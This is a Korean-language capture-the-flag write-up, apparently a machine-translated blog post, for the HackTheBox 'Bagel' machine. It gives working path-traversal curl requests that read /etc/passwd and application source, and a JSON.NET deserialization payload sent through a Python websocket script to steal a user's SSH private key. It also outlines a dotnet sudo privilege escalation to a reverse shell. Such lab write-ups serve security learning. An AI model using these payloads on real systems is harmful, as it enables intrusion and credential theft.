본문 바로가기
프로그래밍/리눅스

프로그래밍 「 리눅스 편」HackTheBox — 베이글

by grapedoukan 2023. 6. 15.
728x90

베이글은 파일 읽기 취약점을 다루고, 웹 소켓을 사용하고 있음을 나타내는 응용 프로그램 소스 코드 (app.py)를 읽고, dotnet 응용 프로그램에 연결하고, 프로세스가 파일 설명자에서 열었던 파일 인 프로세스 ID를 퍼징하여 읽을 수있는 DLL에 대해 언급했습니다. 함수가 있는 파일, 이 사용자를 사용하면 루트 사용자로 실행할 수 있으며 모든 dotnet 애플리케이션 코드를 실행하여 루트를 가져올 수 있습니다./proc/$PID/fdDB_ConnectionFileReadFilephilldotnet

엔맵(NMAP)

Nmap scan report for 10.10.11.201                                                                                                                                                                                      
Host is up (0.29s latency).                                                                                                                                                                                                      
Not shown: 65519 closed tcp ports (reset)                                                                       
PORT      STATE    SERVICE  VERSION                                                                             
22/tcp    open     ssh      OpenSSH 8.8 (protocol 2.0)                                                          
| ssh-hostkey:                                                                                                  
|   256 6e4e1341f2fed9e0f7275bededcc68c2 (ECDSA)                                                                
|_  256 80a7cd10e72fdb958b869b1b20652a98 (ED25519)                                                              
5000/tcp  open     upnp?                                                                                        
| fingerprint-strings:                                                                                          
|   GetRequest:                                                                                                 
|     HTTP/1.1 400 Bad Request                                                                                  
|     Server: Microsoft-NetCore/2.0                                                                             
|     Date: Sun, 19 Feb 2023 15:46:30 GMT                                                                       
|     Connection: close                                                                                         
|   HTTPOptions:                                                                                                
|     HTTP/1.1 400 Bad Request                                                                                  
|     Server: Microsoft-NetCore/2.0                                                                             
|     Date: Sun, 19 Feb 2023 15:46:47 GMT                                                                       
|     Connection: close                                                                                         
|   Help:                                                                                                       
|     HTTP/1.1 400 Bad Request                                                                                  
|     Content-Type: text/html                                                                                   
|     Server: Microsoft-NetCore/2.0
|     Date: Sun, 19 Feb 2023 15:46:58 GMT
|     Content-Length: 52
|     Connection: close
|     Keep-Alive: true
|     <h1>Bad Request (Invalid request line (parts).)</h1>
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
8000/tcp  open     http-alt Werkzeug/2.2.2 Python/3.10.9                                                        
| fingerprint-strings:                                                                                          
|   FourOhFourRequest:                                                                                          
|     HTTP/1.1 404 NOT FOUND                                                                                    
|     Server: Werkzeug/2.2.2 Python/3.10.9                                                                      
|     Date: Sun, 19 Feb 2023 15:46:31 GMT                                                                       
|     Content-Type: text/html; charset=utf-8                                                                    
|     Content-Length: 207                                                                                       
|     Connection: close                                                                                         
|     <!doctype html>                                                                                           
|     <html lang=en>               
|     <title>404 Not Found</title>       
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest:       
|     HTTP/1.1 302 FOUND                                                                                        
|     Server: Werkzeug/2.2.2 Python/3.10.9
|     Date: Sun, 19 Feb 2023 15:46:25 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 263          
|     Location: http://bagel.htb:8000/?page=index.html
|     Connection: close 
|     <!doctype html>  
|     <html lang=en>  
|     <title>Redirecting...</title>                                                                             
|     <h1>Redirecting...</h1>            
|     <p>You should be redirected automatically to the target URL: <a href="http://bagel.htb:8000/?page=index.html">http://bagel.htb:8000/?page=index.html. If not, click the link.
|   Socks5:                  
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>            
|     <title>Error response</title>                                                                             
|     </head>                                                                                                   
|     <body>                                                                                                    
|     <h1>Error response</h1>                                                                                   
|     <p>Error code: 400</p>                                                                                    
|     <p>Message: Bad request syntax ('                                                                         
|     ').</p>                                                                                                   
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>         
|     </body>                                                                                                   
|_    </html>                                                                                                   
|_http-title: Did not follow redirect to http://bagel.htb:8000/?page=index.html                                 
| http-methods:                                                                                                 
|_  Supported Methods: GET OPTIONS HEAD                                                                         
|_http-server-header: Werkzeug/2.2.2 Python/3.10.9

포트 8000(HTTP)

포트는 bagel.htb로 리디렉션되므로 호스트 파일에 추가합니다.

추가 bagel.htb/etc/hosts

파일과 디렉토리를 퍼징하면 /orders 외에는 아무 것도 표시되지 않았습니다.

주문은 아무것도 보여주지 않았다

로 하위 도메인 열거를 시도했지만 결과도 나타나지 않았습니다.wfuzz

발판

홈 페이지로 돌아가면 매개변수가 있는 html 페이지가 포함되어 있는 것을 볼 수 있으며 디렉토리 탐색/파일 읽기에 대한 테스트를 시도할 수 있습니다.page

wfuzz -c -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u 'http://bagel.htb:8000/?page=FUZZ' --hw 3
curl 'http://bagel.htb:8000/?page=../../../../../../../../../../../../../../../../etc/passwd'

이것은 플라스크 응용 프로그램이기 때문에 실행 때문에 LFI를 통해 읽을 수 있다는 것을 알고 있습니다. Werkzeugapp.py

curl 'http://bagel.htb:8000/?page=../app.py

이제 소스 코드는 dll 파일에 대해 언급합니다.

따라서 dll을 찾으려면 프로세스 ID를 무차별 대입해야 합니다. /proc/FUZZ/fd

먼저 숫자의 단어 목록을 만들고 'crunch'로 단어 목록을 만듭니다.

crunch 1 3 1234567890 > numbers.txt

다음으로 wfuzz를 사용하여 생성된 단어 목록으로 PID를 퍼지합니다.

14 자의 요청이 표시되므로 문자 수가 다른 요청을 찾아야하므로 0 및 14 문자를 필터링하여 dll에 대한 PID가있는 요청을 찾을 수있었습니다.file not found

curl 'http://bagel.htb:8000/?page=../../../../../proc/887/cmdline' -so -

curl을 통해 dll 파일을 다운로드하십시오.

curl 'http://bagel.htb:8000/?page=../../../../../opt/bagel/bin/Debug/net6.0/bagel.dll' -o bagel.dl

ILSpy를 사용하여 dll 파일을 열면 dll에서 몇 가지 기능을 볼 수 있습니다., 여기서 무슨 일이 일어나고 있는지 이해하는 데 시간이 걸렸기 때문에 상당히 압도적이었습니다., 우리는 메서드에서 데이터베이스 자격 증명을 찾을 수 있습니다DB_Connection

클래스를 보면Handler

AUTO로 설정되었음을 의미하며, 구성이 다른 것으로 설정되어서는 안 되므로 JSON .NET deserizliation에 취약하게 만드는 .NET 유형을 포함할 수 있습니다. 4None

클래스를 확인하면이 역 직렬화에 대한 요구 사항을 충족하는 빈 생성자가있는 객체가 있습니다.OrdersRemoveOrder

응용 프로그램은 읽을 때 로컬 파일을 읽기 위해 필터링하는 기능을 사용하고 있습니다. /ordersReadOrderorders.txt/opt/bagel/orders/

RemoveOrder 함수를 사용하여 json deserlization을 수행하려면 페이로드가 다음과 같아야 합니다.

{"RemoveOrder":{"$type":"bagel_server.File, bagel", "ReadFile":"../../../../../home/phil/.ssh/id_rsa"}}

여기서 우리는 클래스를 정의 할 수 있고, 액세스하고자하는 클래스이며, 우리가 읽고 싶은 파일을 정의 할 때, ReadFile 에는 유효성 검사가 없으며 파일을 가져 오는 데 사용하는 모든 파일을 읽을 수 있습니다.$typebagel_server.FileReadFileReadContent

페이로드를 보낼 때 app.py 에 있는 것과 동일한 코드를 사용할 수 있습니다.

import websocket,json
ws = websocket.WebSocket() 
ws.connect("ws://10.10.11.201:5000/") # connect to order app
order = {"RemoveOrder":{"$type":"bagel_server.File, bagel", "ReadFile":"../../../../../home/phil/.ssh/id_rsa"}}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
print(json.loads(result))

쉘을 phil로 사용하면 이미 암호를 찾았으므로 개발자에게 에스컬레이션 할 수 있습니다

권한 상승 (영문)(개발자)

이 사용자가 루트 사용자로 실행할 수 있는 항목을 나열할 수 있습니다.sudo -l

권한 상승(루트)

dotnet application을 실행할 수 있으므로 먼저 cs 및 proj 파일을 생성하는 dotnet 응용 프로그램을 만들고 cs 파일을dotnet console

System.Diagnostics.Process.Start("program","arguemnts");

단순히 역 쉘을 가진 스크립트로 bash를 실행하는 것입니다uwu.sh

참조

728x90